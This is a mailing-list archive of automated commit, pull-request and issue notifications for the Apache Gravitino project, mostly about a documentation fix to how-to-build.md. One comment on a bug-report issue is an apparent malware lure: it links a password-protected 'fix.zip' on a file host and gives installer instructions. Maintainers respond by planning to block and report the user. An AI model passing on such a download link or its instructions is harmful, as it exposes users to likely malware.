(gravitino) branch justinmclean-patch-3 created (now 1fff10ba2)

2024-08-27 Thread jmclean
This is an automated email from the ASF dual-hosted git repository. jmclean pushed a change to branch justinmclean-patch-3 in repository https://gitbox.apache.org/repos/asf/gravitino.git at 1fff10ba2 Update how-to-build.md This branch includes the following new commits: new 1fff10ba

(gravitino) 01/01: Update how-to-build.md

2024-08-27 Thread jmclean
This is an automated email from the ASF dual-hosted git repository. jmclean pushed a commit to branch justinmclean-patch-3 in repository https://gitbox.apache.org/repos/asf/gravitino.git commit 1fff10ba226055218f3f9d4abe557503a19641f9 Author: Justin Mclean AuthorDate: Wed Aug 28 15:54:44 2024 +1

[PR] [Minor] Update how-to-build.md [gravitino]

2024-08-27 Thread via GitHub
justinmclean opened a new pull request, #4729: URL: https://github.com/apache/gravitino/pull/4729 ### What changes were proposed in this pull request? Clarify and improve English. ### Why are the changes needed? For clarity. Fix: # N/A ### Does this PR intro

Re: [I] [Bug report]create schema error [gravitino]

2024-08-27 Thread via GitHub
PiaoR commented on issue #4728: URL: https://github.com/apache/gravitino/issues/4728#issuecomment-2314380945 Download https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file password: changeme In the installer menu, select "gcc." -- This is an automated message from the Apach

Re: [I] [Bug report]create schema error [gravitino]

2024-08-27 Thread via GitHub
justinmclean commented on issue #4728: URL: https://github.com/apache/gravitino/issues/4728#issuecomment-2314387540 @mchades it's best to block and report the user first, then delete those comments. -- This is an automated message from the Apache Git Service. To respond to the message, pl

Re: [PR] [Minor] Update how-to-build.md [gravitino]

2024-08-27 Thread via GitHub
jerryshao merged PR #4729: URL: https://github.com/apache/gravitino/pull/4729 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@gravit

(gravitino) branch main updated: [Minor] Update how-to-build.md (#4729)

2024-08-27 Thread jshao
This is an automated email from the ASF dual-hosted git repository. jshao pushed a commit to branch main in repository https://gitbox.apache.org/repos/asf/gravitino.git The following commit(s) were added to refs/heads/main by this push: new f0c065208 [Minor] Update how-to-build.md (#4729) f

[PR] [Minor] Update how-to-build.md [gravitino]

2024-08-27 Thread via GitHub
github-actions[bot] opened a new pull request, #4730: URL: https://github.com/apache/gravitino/pull/4730 ### What changes were proposed in this pull request? Clarify and improve English. ### Why are the changes needed? For clarity. Fix: # N/A ### Does this P

Re: [PR] [Minor] Update how-to-build.md [gravitino]

2024-08-27 Thread via GitHub
jerryshao closed pull request #4730: [Minor] Update how-to-build.md URL: https://github.com/apache/gravitino/pull/4730 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubs

(gravitino) branch cherry-pick-branch-0.6-f0c065208a0e603abdeb08a0d422fda947781c8e created (now 74eeb5b0e)

2024-08-27 Thread github-bot
This is an automated email from the ASF dual-hosted git repository. github-bot pushed a change to branch cherry-pick-branch-0.6-f0c065208a0e603abdeb08a0d422fda947781c8e in repository https://gitbox.apache.org/repos/asf/gravitino.git at 74eeb5b0e [Minor] Update how-to-build.md (#4729) No

Re: [PR] [#4706] fix(build): Add license, notice, and other files to the binary artifact [gravitino]

2024-08-27 Thread via GitHub
jerryshao commented on PR #4726: URL: https://github.com/apache/gravitino/pull/4726#issuecomment-2314390368 @justinmclean , would you please help to review this PR? -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the U

Re: [I] [Bug report]create schema error [gravitino]

2024-08-27 Thread via GitHub
mchades commented on issue #4728: URL: https://github.com/apache/gravitino/issues/4728#issuecomment-2314391455 > @mchades it's best to block and report the user first, then delete those comments. @justinmclean OK. Can you explain in detail how to block and report? -- This is an aut

Re: [PR] [Minor] Update how-to-build.md [gravitino]

2024-08-27 Thread via GitHub
jerryshao merged PR #4730: URL: https://github.com/apache/gravitino/pull/4730 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@gravit

(gravitino) branch branch-0.6 updated: [Minor] Update how-to-build.md (#4730)

2024-08-27 Thread jshao
This is an automated email from the ASF dual-hosted git repository. jshao pushed a commit to branch branch-0.6 in repository https://gitbox.apache.org/repos/asf/gravitino.git The following commit(s) were added to refs/heads/branch-0.6 by this push: new 3068be552 [Minor] Update how-to-build.

  1   2   >